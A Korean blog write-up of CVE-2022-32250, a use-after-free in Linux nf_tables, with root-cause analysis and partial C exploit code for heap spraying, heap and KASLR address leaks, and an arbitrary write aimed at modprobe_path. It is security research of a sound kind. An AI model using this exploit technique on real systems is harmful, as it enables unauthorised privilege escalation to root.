[1-day Research] CVE-2022-32250 : nf_tables의 Use After Free 취약점을 이용한 리눅스 권한 상승 공격

The Orange·2024년 5월 14일
0

1-day-research

목록 보기
3/3
1. Overview
2. Background
3. Vulnerability
	3-1. Root Cause
    3-2. Conclusion
4. exploit
	4-1. Kernel keyring (struct user_key_payload)
    4-2. mqueue (struct posix_msg_tree_node)
    4-3. Leak kernel heap address
    4-4. Leak KASLR Base
    4-5. Overwriting modporbe_path
5. Finish

Reference

1. Overview


해당 취약점은 Linux 커널의nf_tables 시스템에서 발생하는 취약점입니다. nf_tablesNetfilter에 관한 더 자세한 내용은 아래에 글에서 확인할 수 있습니다.

https://velog.io/@0range1337/1-day-Research-CVE-2022-1015-nftables%EC%9D%98-OOB-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9C%BC%EB%A1%9C-%EC%9D%B8%ED%95%9C-%EB%A6%AC%EB%88%85%EC%8A%A4-%EA%B6%8C%ED%95%9C-%EC%83%81%EC%8A%B9-%EA%B3%B5%EA%B2%A9

CVE-2022-32250 취약점은 nf_tables에서 set에 대해 새로운 expr를 할당하는 과정에서 발생합니다. setexpr를 할당할 때 잘못된 플래그 검사 방식을 이용하기 때문에, 유효하지 않은 expr가 담긴 set를 할당하려고 시도할 경우, expr는 해제되지만 set는 해제되지 않게 됩니다. 결국 해제된 상태의 expr를 그대로 담고 있는 Use After Free 취약점이 발생하게 됩니다.

2. Background


nf_tables에서의 setkey-value 저장소의 일종으로 expr를 포함한 다양한 오브젝트를 저장할 수 있습니다. nft_lookupset를 조회하는 표현식입니다.

3. Vulnerability


3-1. Root Cause

https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L5153

struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
					 const struct nft_set *set,
					 const struct nlattr *attr)
{
	struct nft_expr *expr;
	int err;

	expr = nft_expr_init(ctx, attr);
	if (IS_ERR(expr))
		return expr;

	err = -EOPNOTSUPP;
	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
		goto err_set_elem_expr;

	if (expr->ops->type->flags & NFT_EXPR_GC) {
		if (set->flags & NFT_SET_TIMEOUT)
			goto err_set_elem_expr;
		if (!set->ops->gc_init)
			goto err_set_elem_expr;
		set->ops->gc_init(set);
	}

	return expr;

err_set_elem_expr:
	nft_expr_destroy(ctx, expr);
	return ERR_PTR(err);
}

nft_set_elem_expr_alloc 함수는 NFT_MSG_NEWSET -> nf_tables_newset 함수에 의해 호출됩니다. (https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L7611)

nft_set_elem_expr_alloc 함수는 set에 새로운 expr 오브젝트를 생성해서 할당합니다. 위 코드 자체에서 취약점을 확인할 수는 없지만, 이상한 부분이 존재합니다. 할당하려는 exprNFT_EXPR_STATEFUL 플래그가 없을 경우 에러를 반환하는데, 이때 할당하려는 expr의 플래그를 먼저 확인하는 것이 아닌, expr 오브젝트를 성공적으로 생성한 이후, 플래그를 확인하고NFT_EXPR_STATEFUL이 아닐 경우 expr 오브젝트를 해제합니다.

Root Cause를 알아내기 위해서 해당 함수가 NFT_EXPR_STATEFUL 플래그가 없는 nft_lookup expr를 할당하려 한다고 가정하겠습니다.


https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L2696

static struct nft_expr *nft_expr_init(const struct nft_ctx *ctx,
				      const struct nlattr *nla)
{
	struct nft_expr_info info;
	struct nft_expr *expr;
	struct module *owner;
	int err;

	err = nf_tables_expr_parse(ctx, nla, &info);
	if (err < 0)
		goto err1;

	err = -ENOMEM;
	expr = kzalloc(info.ops->size, GFP_KERNEL);
	if (expr == NULL)
		goto err2;

	err = nf_tables_newexpr(ctx, &info, expr);
	if (err < 0)
		goto err3;

	return expr;
err3:
	kfree(expr);
err2:
	owner = info.ops->type->owner;
	if (info.ops->type->release_ops)
		info.ops->type->release_ops(info.ops);

	module_put(owner);
err1:
	return ERR_PTR(err);
}

expr 오브젝트를 할당하는 nft_expr_init 함수를 살펴보면 nf_tables_expr_parse 함수를 통해 expr의 정보를 가져온 후, kzalloc(info.ops->size, GFP_KERNEL);으로 expr 오브젝트를 할당받고 nf_tables_newexpr 함수를 호출합니다.

위에서 nft_lookup expr를 할당한다고 가정했으므로, info.opsnft_lookup_ops이고, expr는 kmalloc-64로 할당됩니다. https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nft_lookup.c#L221


https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L2666

static int nf_tables_newexpr(const struct nft_ctx *ctx,
			     const struct nft_expr_info *info,
			     struct nft_expr *expr)
{
	const struct nft_expr_ops *ops = info->ops;
	int err;

	expr->ops = ops;
	if (ops->init) {
		err = ops->init(ctx, expr, (const struct nlattr **)info->tb);
		if (err < 0)
			goto err1;
	}

	return 0;
err1:
	expr->ops = NULL;
	return err;
}

마찬가지로 nft_lookup expr를 할당한다고 가정했기에, nf_tables_newexpr 함수는 nft_lookup_init 함수를 호출하게 됩니다.


https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nft_lookup.c#L60

static int nft_lookup_init(const struct nft_ctx *ctx,
			   const struct nft_expr *expr,
			   const struct nlattr * const tb[])
{
	struct nft_lookup *priv = nft_expr_priv(expr);
	u8 genmask = nft_genmask_next(ctx->net);
	struct nft_set *set;
	u32 flags;
	int err;

	if (tb[NFTA_LOOKUP_SET] == NULL ||
	    tb[NFTA_LOOKUP_SREG] == NULL)
		return -EINVAL;

	set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
				    tb[NFTA_LOOKUP_SET_ID], genmask);
	if (IS_ERR(set))
		return PTR_ERR(set);

	err = nft_parse_register_load(tb[NFTA_LOOKUP_SREG], &priv->sreg,
				      set->klen);
	if (err < 0)
		return err;

	if (tb[NFTA_LOOKUP_FLAGS]) {
		flags = ntohl(nla_get_be32(tb[NFTA_LOOKUP_FLAGS]));

		if (flags & ~NFT_LOOKUP_F_INV)
			return -EINVAL;

		if (flags & NFT_LOOKUP_F_INV) {
			if (set->flags & NFT_SET_MAP)
				return -EINVAL;
			priv->invert = true;
		}
	}

	if (tb[NFTA_LOOKUP_DREG] != NULL) {
		if (priv->invert)
			return -EINVAL;
		if (!(set->flags & NFT_SET_MAP))
			return -EINVAL;

		err = nft_parse_register_store(ctx, tb[NFTA_LOOKUP_DREG],
					       &priv->dreg, NULL, set->dtype,
					       set->dlen);
		if (err < 0)
			return err;
	} else if (set->flags & NFT_SET_MAP)
		return -EINVAL;

	priv->binding.flags = set->flags & NFT_SET_MAP;

	err = nf_tables_bind_set(ctx, set, &priv->binding);
	if (err < 0)
		return err;

	priv->set = set;
	return 0;
}

nft_lookup_init 함수는nft_lookup 오브젝트를 초기화하고, nf_tables_bind_set 함수를 통해 setexpr를(또는 exprexpr를) Double Linked List로 연결합니다.


https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L4488

int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
		       struct nft_set_binding *binding)
{
	struct nft_set_binding *i;
	struct nft_set_iter iter;

	if (set->use == UINT_MAX)
		return -EOVERFLOW;

	if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
		return -EBUSY;

	if (binding->flags & NFT_SET_MAP) {
		/* If the set is already bound to the same chain all
		 * jumps are already validated for that chain.
		 */
		list_for_each_entry(i, &set->bindings, list) {
			if (i->flags & NFT_SET_MAP &&
			    i->chain == binding->chain)
				goto bind;
		}

		iter.genmask	= nft_genmask_next(ctx->net);
		iter.skip 	= 0;
		iter.count	= 0;
		iter.err	= 0;
		iter.fn		= nf_tables_bind_check_setelem;

		set->ops->walk(ctx, set, &iter);
		if (iter.err < 0)
			return iter.err;
	}
bind:
	binding->chain = ctx->chain;
	list_add_tail_rcu(&binding->list, &set->bindings);
	nft_set_trans_bind(ctx, set);
	set->use++;

	return 0;
}

nf_tables_bind_set 함수는 set->bindings 리스트를 순회하여 해당 set에 이미 연결된 expr가 있는지 체크하고 만약 있다면, 새로 할당된 expr를 이미 set와 연결된 expr와 연결합니다. set가 비어있다면, set와 새로 할당될 expr를 연결합니다.

따라서 위와 같이 서로 바인딩되어 있습니다.


// https://elixir.bootlin.com/linux/v5.12/source/include/net/netfilter/nf_tables.h#L317

struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

// https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nft_lookup.c#L18

struct nft_lookup {
	struct nft_set			*set;
	u8				sreg;
	u8				dreg;
	bool				invert;
	struct nft_set_binding		binding;
};

nft_exprnft_lookup 구조체는 위와 같습니다. nft_expr->datanft_lookup 구조체가 이어져있고, nft_lookup->binding 구조체가 set 또는 다른 expr와 연결된 Double Linked List 입니다.


https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L5153

struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
					 const struct nft_set *set,
					 const struct nlattr *attr)
{
	struct nft_expr *expr;
	int err;

	expr = nft_expr_init(ctx, attr);
...

	err = -EOPNOTSUPP;
	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
		goto err_set_elem_expr;

...

err_set_elem_expr:
	nft_expr_destroy(ctx, expr);
	return ERR_PTR(err);
}

다시 nft_set_elem_expr_alloc 함수로 돌아오면, expr 할당 이후, NFT_EXPR_STATEFUL 플래그 검사를 하고, 유효하지 않은 expr라면 nft_expr_destroy 함수를 통해 해당 expr를 해제합니다.


https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L2748

void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
{
	nf_tables_expr_destroy(ctx, expr);
	kfree(expr);
}

nft_expr_destroy 함수는 nf_tables_expr_destroy 함수를 실행한 후, kfree 함수로 expr 오브젝트를 해제합니다.


https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L2686

static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
				   struct nft_expr *expr)
{
	const struct nft_expr_type *type = expr->ops->type;

	if (expr->ops->destroy)
		expr->ops->destroy(ctx, expr);
	module_put(type->owner);
}

https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nft_lookup.c#L138

static void nft_lookup_destroy(const struct nft_ctx *ctx,
			       const struct nft_expr *expr)
{
	struct nft_lookup *priv = nft_expr_priv(expr);

	nf_tables_destroy_set(ctx, priv->set);
}

https://elixir.bootlin.com/linux/v5.12/source/net/netfilter/nf_tables_api.c#L4562

void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
{
	if (list_empty(&set->bindings) && nft_set_is_anonymous(set))
		nft_set_destroy(ctx, set);
}

nf_tables_expr_destroy -> nft_lookup_destroy -> nf_tables_destroy_set 함수는 최종적으로 expr와 연결된 set를 파괴합니다. 이때 nf_tables_destroy_set 함수를 보면, 큰 문제가 있다는 사실을 알 수 있습니다. if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) 조건문을 만족할때만 set가 해제되는데, 위에서 nf_tables_bind_set 함수에 의해 set->bindingsexpr가 연결되어 있기 때문에 set는 절대 해제가 되지 않습니다.

하지만 여전히 nft_expr_destroy 함수에서는 kfree를 통해 expr 오브젝트를 해제하기 때문에, 해제된 expr 오브젝트의 주소는 set->bindings에 남게되고 Use After Free 취약점이 발생하게 됩니다.

3-2. Conclusion

PoC : https://seclists.org/oss-sec/2022/q2/159

nft_lookup 표현식은 다른 set를 조회하는 표현식입니다. 따라서 PoC에서도 알 수 있듯, nft_lookup 표현식의 인자로 주어질 또 다른 set가 하나 더 필요합니다.

결론적으로, NFT_EXPR_STATEFUL 플래그가 없는 nft_lookup exprset에 할당하려고 시도 할 경우, expr는 즉시 해제되지만 set는 파괴되지 않기 때문에 set->bindings에 해제된 nft_expr(+nft_lookup) 오브젝트가 남게 됩니다. 위에서 분석했듯이, nf_tables_bind_set 함수는 set 내에 이미 다른 expr가 존재할 경우 새로운 expr를 기존 expr에 연결합니다.

즉, CVE-2022-32250취약점을 통해 해제된 kmalloc-64 청크 +0x18(->bindings.next) 오프셋에 또다른 expr의 주소를 덮어쓰는 것이 가능합니다. 또한 그 expr 역시 유효하지 않은 expr일 경우 위 그림과 같이 즉시 해제되어, 리스트로 연결된 두개의 UAF 청크를 만들 수 있습니다. Linux Kernel에 존재하는 여러 구조체 중 +0x18 오프셋 포인터에 접근하는 kmalloc-64 크기의 구조체를 악용하면 유용한 프리미티브를 만들 수 있습니다.

4. exploit


CVE-2022-32250 취약점을 이용해 최종적으로 권한 상승을 하기 위해서 user_key_payloadposix_msg_tree_node 구조체를 악용할 것입니다. 커널 익스플로잇에 주로 사용되는 msg_msg 구조체의 경우, +0x18 오프셋에 접근할 수 없는데다가, 5.15 버전의 커널부터는 msg_msg 구조체가 GFP_KERNEL_ACCOUNT 플래그로 할당되기 때문에 일반적인 방법으로는 GFP_KERNEL 플래그로 할당되는 nft_expr(+nft_lookup) 청크와 경합되게 만들 수 없습니다.

4-1. Kernel Keyring (struct user_key_payload)

// https://elixir.bootlin.com/linux/v5.12/source/include/keys/user-type.h#L27

struct user_key_payload {
    struct rcu_head rcu;
    unsigned short  datalen;
    char        data[] __aligned(__alignof__(u64));
};

// https://elixir.bootlin.com/linux/v5.12/source/include/linux/types.h#L224

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

Keyring은 Linux Kernel에서 암호화 키, 인증 토큰, 기타 민감한 데이터를 안전하게 저장하고 관리하는 데 사용되는 하위 시스템입니다. sys_add_key 시스템 콜을 통해 새로운 키를 추가하고, sys_keyctl 시스템 콜을 통해 임의의 키와 상호작용할 수 있습니다. 우리는 해당 Keyring 시스템에서 사용되는 user_key_payload를 익스플로잇에 악용할 것입니다. user_key_payload 구조체를 보면 +0x18 오프셋에 data 멤버 변수가 존재합니다. 따라서 user_key_payload 구조체와 해제된 nft_expr(+nft_lookup) 청크를 경합시킨다면, user_key_payload->data에 대한 읽기 / 쓰기를 통해 nft_lookup->binding의 값을 읽거나 덮어쓸 수 있습니다.


https://elixir.bootlin.com/linux/v5.12/source/security/keys/keyctl.c#L74

int user_preparse(struct key_preparsed_payload *prep)
{
	struct user_key_payload *upayload;
	size_t datalen = prep->datalen;

	if (datalen <= 0 || datalen > 32767 || !prep->data)
		return -EINVAL;

	upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
	if (!upayload)
		return -ENOMEM;

	/* attach the data */
	prep->quotalen = datalen;
	prep->payload.data[0] = upayload;
	upayload->datalen = datalen;
	memcpy(upayload->data, prep->data, datalen);
	return 0;
}

user_key_payload 구조체는 add_key(syscall) -> key_create_or_update -> index_key.type->preparse()에서 호출되는 user_preparse 함수에 의해 할당됩니다. 함수를 살펴보면, 할당 이후 user_key_payload->data 멤버 변수에 유저로부터 받은 prep->data 값을 복사하고 있습니다. 즉, 해당 함수를 이용해서 nft_lookup->binding의 값을 덮어쓸 수 있습니다.

typedef int32_t key_serial_t;

static inline key_serial_t sys_add_key(const char *type, const char *desc, const void *payload, size_t plen, int ringid)
{
    return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}

user_preparse 함수는 위와 같은 sys_add_key 시스템 콜을 통해 트리거할 수 있습니다.


https://elixir.bootlin.com/linux/v5.12/source/security/keys/keyctl.c#L1869

SYSCALL_DEFINE5(keyctl, int, option, unsigned long, arg2, unsigned long, arg3,
		unsigned long, arg4, unsigned long, arg5)
{
	switch (option) {
...
	case KEYCTL_READ:
		return keyctl_read_key((key_serial_t) arg2,
				       (char __user *) arg3,
				       (size_t) arg4);
...
	}

또한 sys_keyctl 시스템 콜을 이용하면 user_key_payload->data의 값을 읽을 수도 있습니다.

static inline key_serial_t sys_keyctl(int cmd, ...)
{
    va_list ap;
    long arg2, arg3, arg4, arg5;

    va_start(ap, cmd);
    arg2 = va_arg(ap, long);
    arg3 = va_arg(ap, long);
    arg4 = va_arg(ap, long);
    arg5 = va_arg(ap, long);
    va_end(ap);

    return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
// sys_keyctl(KEYCTL_READ, key_id, buffer, sizeof(buffer));

keyctl_read_key 함수는 sys_keyctl 시스템 콜에 인자로 KEYCTL_READ를 주면 트리거할 수 있습니다.

4-2. mqueue (struct posix_msg_tree_node)

// https://elixir.bootlin.com/linux/v5.12/source/ipc/mqueue.c#L60
struct posix_msg_tree_node {
	struct rb_node		rb_node;
	struct list_head	msg_list;
	int			priority;
};

// https://elixir.bootlin.com/linux/v5.12/source/include/linux/msg.h#L9
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

mqueue는 POSIX Message Queue를 구현한 Linux Kernel의 시스템입니다. 흔히 프로세스 간 통신(IPC)를 위해 사용됩니다. 해당 시스템에서 사용하는 posix_msg_tree_node 구조체 역시 커널 익스플로잇에 이용할 수 있습니다. 해당 구조체의 +0x18 오프셋은 posix_msg_tree_node->list_head.next 입니다. 위에서 분석했듯, CVE-2022-32250 취약점을 통해 해제된 청크의 +0x18 오프셋에 또 다른 nft_expr(+nft_lookup) 오브젝트의 Dangling Pointer를 덮어쓸 수 있습니다. posix_msg_tree_node->msg_list 멤버변수는 msg_msg 구조체를 담고있는 Linked list 입니다.

따라서, posix_msg_tree_node 구조체를 이용하면 해제된 nft_expr(+nft_lookup) 오브젝트를 msg_msg 구조체로 Type Confusion을 일으킬 수 있습니다. 이어서 해제된 nft_expr(+nft_lookup) 오브젝트를 user_key_payload 구조체와 경합시키면, msg_msg 오브젝트를 덮어쓸 수 있습니다. 더 자세한 익스플로잇은 아래에서 확인할 수 있습니다.


// open queue
struct mq_attr attr;
attr.mq_flags = 0;
attr.mq_maxmsg = MQ_MAX_COUNT;
attr.mq_msgsize = MQ_SIZE;
attr.mq_curmsgs = 0;

mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);

// send msg
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
	perror("clock_gettime");
	exit(1);
}

memcpy(buffer, "test", 4);
mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts);

// recv msg
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
	perror("clock_gettime");
	exit(1);
}

mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);

위와 같은 코드로 do_mq_timedsend 시스템 콜을 트리거하여, posix_msg_tree_node 오브젝트를 할당할 수 있고, do_mq_timedreceive 시스템 콜을 통해 posix_msg_tree_node 구조체에 연결된 msg_msg 오브젝트를 읽을 수 있습니다.


4-3. Leak kernel heap address

posix_msg_tree_node 구조체를 이용하기 위해서는 msg_msg 구조체에 덮어쓸 메타데이터가 필요합니다. 따라서 user_key_payload 구조체만을 이용해서 먼저 커널의 Heap 영역 주소를 유출해야합니다.

우리는 취약점을 이용해서 해제된 nft_expr(+nft_lookup) 오브젝트와 user_key_payload 오브젝트를 경합시킬 수 있고, 또한 취약점을 한번 더 트리거함으로써 nft_lookup->binding.next에 또다른 nft_expr(+nft_lookup) 오브젝트의 주소를 덮어쓸 수 있습니다. 이를 이용하면, 위에 그림처럼 user_key_payload->data에 Heap 영역 주소를 덮어쓸 수 있습니다. 이후 KEYCTL_READ를 이용해 해당 키를 읽으면 성공적으로 Heap 영역 주소를 유출할 수 있습니다.

#define KEY_PAYLOAD_SIZE 40
#define KEY_SPRAY_COUNT 90

//uint32_t key_count = 0;
key_serial_t* spray_user_key_payload(int start, int end){
    
    key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
    char payload[KEY_PAYLOAD_SIZE] = {0, };

    for(int i=start; i<end; i++){
        snprintf(payload, KEY_PAYLOAD_SIZE, "payload-%d", i);
        keys[i] = sys_add_key("user", payload, payload, KEY_PAYLOAD_SIZE, KEY_SPEC_USER_KEYRING);
        if (keys[i] == -1)
            err(1, "[-] failed key spraying");
    }
    
    printf("[+] sprayed user_key_payload\n");
    return keys;
}

int leak_heap_addr_and_get_uaf_keyid(key_serial_t *keys, uint64_t *kheap){

    int ret = 0;
    char buffer[KEY_PAYLOAD_SIZE] = {0, };

    for(int i=0; i<KEY_SPRAY_COUNT; i++){
        ret = sys_keyctl(KEYCTL_READ, keys[i], buffer, sizeof(buffer));
        if (ret == -1)
            err(1, "[-] failed key read");

        //printf("[*] kheap = 0x%lx\n", *((uint64_t*)buffer));
        if((uint8_t)buffer[7] == 0xff){
            *kheap = *((uint64_t*)buffer);
            return i;
        }
    }

    err(1, "[-] failed leak kernel heap address");
}

void revoke_all_sprayed_keys(key_serial_t *keys, int start, int end){
    int c = 0;
    for(int i=start; i<end; i++){
        if(keys[c]!=0)
            revoke_key(keys[c]);
        c++;
    }
    printf("[+] revoked all sprayed keys\n");
}

void unlink_all_sprayed_keys(key_serial_t *keys, int start, int end){
    int c = 0;
    for(int i=start; i<end; i++){
        if(keys[c]!=0)
            unlink_key(keys[c]);
        c++;
    }
    printf("[+] unlinked all sprayed keys\n");
}
    printf("\n\n============================== [ 1. Leaking Kernel Heap Address ] ==============================\n");

    netfilter_new_table(nl, "table1");
    netfilter_new_stable_set(nl, "table1", "set_stable1");
    netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");

    key_serial_t *spray_keys = spray_user_key_payload(0, KEY_SPRAY_COUNT);

    netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");

    uint64_t kheap = 0;
    int keyid = leak_heap_addr_and_get_uaf_keyid(spray_keys, &kheap);
    printf("[*] kheap = 0x%lx (keyid = %d)\n", kheap, keyid);

    revoke_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);

KEYCTL_REVOKE, KEYCTL_UNLINK는 각각 user_key_payload->rcu에 해제 함수를 등록하고 최종적으로 keyring에서 제거하는 역할을 합니다. keyring에는 key를 최대 200개 밖에 추가하지 못하기 때문에 다음 익스플로잇에서 key를 이용하기 위해서 전부 해제해야합니다.


4-4. Leak KASLR Base

위에서 Heap 주소를 유출할때 사용한 방법과 동일하게, posix_msg_tree_node 오브젝트와 해제된 nft_expr(+nft_lookup) 오브젝트를 경합시킨 후, 취약점을 한번 더 트리거하면, posix_msg_tree_node->msg_list 멤버 변수를 또다른 해제된 nft_expr(+nft_lookup) 오브젝트로 덮어쓸 수 있습니다. 이후 해제된 nft_expr(+nft_lookup) 오브젝트를 다시 user_key_payload와 경합시키면, 우리는 user_key_payload 오브젝트를 통해 msg_msg 오브젝트의 메타데이터를 조작할 수 있습니다. 또한 msg_msg 오브젝트의 크기는 msg_msg->m_ts의 의해서 결정되기 때문에 메모리 경계를 넘어서 스프레이 된 또다른 user_key_payload 오브젝트에 접근할 수 있습니다.

이를 이용해서, user_key_payload->rcu.func에 담긴 함수 주소를 유출하여 KASLR를 우회할 수 있습니다.

이때 몇가지 주의해야할 점이 있습니다.

  1. do_mq_timedreceive 시스템 콜을 통해 posix_msg_tree_node->msg_list.next(msg_msg)->data[]를 읽을때 커널 패닉이 일어나지 않게 하기 위해서는 경합된 msg_msg 오브젝트에 아래와 같은 메타데이터를 덮어써줘야 합니다.

    msg_list.next, msg_list.prev, *security : 임의의 Heap 주소 (위에서 유출했던 Heap 주소 이용)
    m_ts : msg_msg 구조체의 데이터 사이즈
    m_type : 아무 값 8바이트

  2. user_key_payload->rcu.next, user_key_payload->rcu.func의 값을 기본적으로 NULL 입니다. 따라서 do_mq_timedreceive 시스템 콜을 실행하기 직전 KEYCTL_REVOKE를 통해서 스프레이 된 함수를 해제하려고 시도함으로써, user_key_payload->rcu.func에 free callback 함수가 등록되게 만들어야합니다.

    RCU는 Read-Copy-Update의 약자로, 멀티스레드 환경에서의 Race Condition을 방지하기 위해 오브젝트를 즉시 해제 하지 않고 free callback 함수를 등록하여 유예 기간(Grace Period)을 줌으로써 다른 스레드의 Read 동작 중 오브젝트가 해제되는 상황을 방지합니다.

key_serial_t *spray_fake_obj_keys(uint64_t addr1, uint64_t addr2, int start, int end){
    
    key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
    char payload[KEY_PAYLOAD_SIZE] = {0, };
    char desc[KEY_PAYLOAD_SIZE] = {0, };
    uint64_t m_ts = 0x28;

    memcpy(payload,(char*)(&addr1),0x8); // m_list.next
    memcpy(payload+0x8,(char*)(&addr2),0x8); // m_list.prev
    memcpy(payload+0x10,"AAAAAAAA",0x8); // m_type
    memcpy(payload+0x18,(char*)(&m_ts),0x8); // m_ts

    int c = 0;
    for(int i=start; i<end; i++){
        snprintf(desc, KEY_PAYLOAD_SIZE, "payload-%d-fake", i);
        keys[c] = sys_add_key("user", desc, payload, KEY_PAYLOAD_SIZE-1, KEY_SPEC_USER_KEYRING);
        if (keys[c] == -1)
            err(1, "[-] failed key spraying");
        c++;
    }
    
    printf("[+] sprayed fake obj user_key_payload\n");
    return keys;
}


#define MQ_MAX_COUNT 10
#define MQ_COUNT 1
#define MQ_SIZE 24

mqd_t sys_mq_open(char *queue_name){
    
    struct mq_attr attr;
    attr.mq_flags = 0;
    attr.mq_maxmsg = MQ_MAX_COUNT;
    attr.mq_msgsize = MQ_SIZE;
    attr.mq_curmsgs = 0;

    // 메시지 큐 열기
    mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
    if (mq == (mqd_t)-1) {
        err(1, "[-] failed mq_open");
    }

    printf("[+] mq_open : %s\n", queue_name);
    return mq;
}

void create_fake_obj_posix_msg_tree_node(mqd_t mq){

    struct timespec ts;
    char buffer[MQ_SIZE] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    memcpy(buffer, "test", 4);

    if (mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts) == -1){
        err(1, "[-] failed mq_timedsend");
    }

    printf("[+] nft_expr(+nft_lookup) <-> posix_msg_tree_node\n");
}

uint64_t leak_kaslr_base_by_read_mq(mqd_t mq){
    struct timespec ts;
    char buffer[1024] = {0, };

    if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
        perror("clock_gettime");
        exit(1);
    }

    ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
    if (bytes_read == -1)
        err(1, "[-] failed mq_timedreceive");

    hexdump(buffer,0x20);
    if((uint8_t)buffer[7] == 0xff){
        return *((uint64_t*)buffer);
    } else {
        err(1, "[-] failed leak kaslr");
    }
}
    printf("\n\n============================== [ 0. Preapare Exploiting ] ==============================\n");

...

    mqd_t mq1 = sys_mq_open("/queue-leak");
    mqd_t mq2 = sys_mq_open("/queue-overwrite");
    mqd_t mq3 = sys_mq_open("/queue-overwrite3");
    
...
    printf("\n\n============================== [ 2. Leaking KASLR Base Address ] ==============================\n");

    netfilter_new_table(nl, "table2");
    netfilter_new_stable_set(nl, "table2", "set_stable2");
    netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");

    create_fake_obj_posix_msg_tree_node(mq1);

    key_serial_t *spray_keys2 = spray_user_key_payload(0, KEY_SPRAY_COUNT);

    netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
    key_serial_t *fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
    fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);

    revoke_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
    uint64_t kernel_base = leak_kaslr_base_by_read_mq(mq1) - 0x373330;
    printf("[*] Kernel Base = 0x%lx\n", kernel_base);

    revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
    unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);

4-5. Overwriting modporbe_path

https://elixir.bootlin.com/linux/v5.12/source/ipc/mqueue.c#L249

static inline struct msg_msg *msg_get(struct mqueue_inode_info *info)
{
	struct rb_node *parent = NULL;
	struct posix_msg_tree_node *leaf;
	struct msg_msg *msg;

...
		msg = list_first_entry(&leaf->msg_list,
				       struct msg_msg, m_list);
		list_del(&msg->m_list);
...
	return msg;
}

https://elixir.bootlin.com/linux/v5.12/source/ipc/mqueue.c#L249

static inline void
__list_del(struct list_head *prev, struct list_head *next)
{
    next->prev = prev;
    prev->next = next;
}

마찬가지로 posix_msg_tree_node 오브젝트를 통한 msg_msg, user_key_payload 경합을 이용하면, 임의의 메모리쓰기 역시 가능합니다. do_mq_timedreceive 시스템 콜은 msg_msg 오브젝트를 읽기 위해 msg_get 함수를 호출하는데, msg_get 함수는 __list_del 함수를 통해 msg_msg 오브젝트를 unlink 합니다.

이 과정에서, next->prev = prev, prev->next = next 이와 같은 메모리 쓰기를 하는데, 우리는 msg_msg, user_key_payload 경합을 통해서 msg_msgnext, prev 메타데이터를 조작할 수 있습니다. 이때, next에는 덮어쓰여질 대상 주소를, prev에는 덮어써질 값을 넣으면 임의의 메모리 쓰기를 할 수 있습니다.

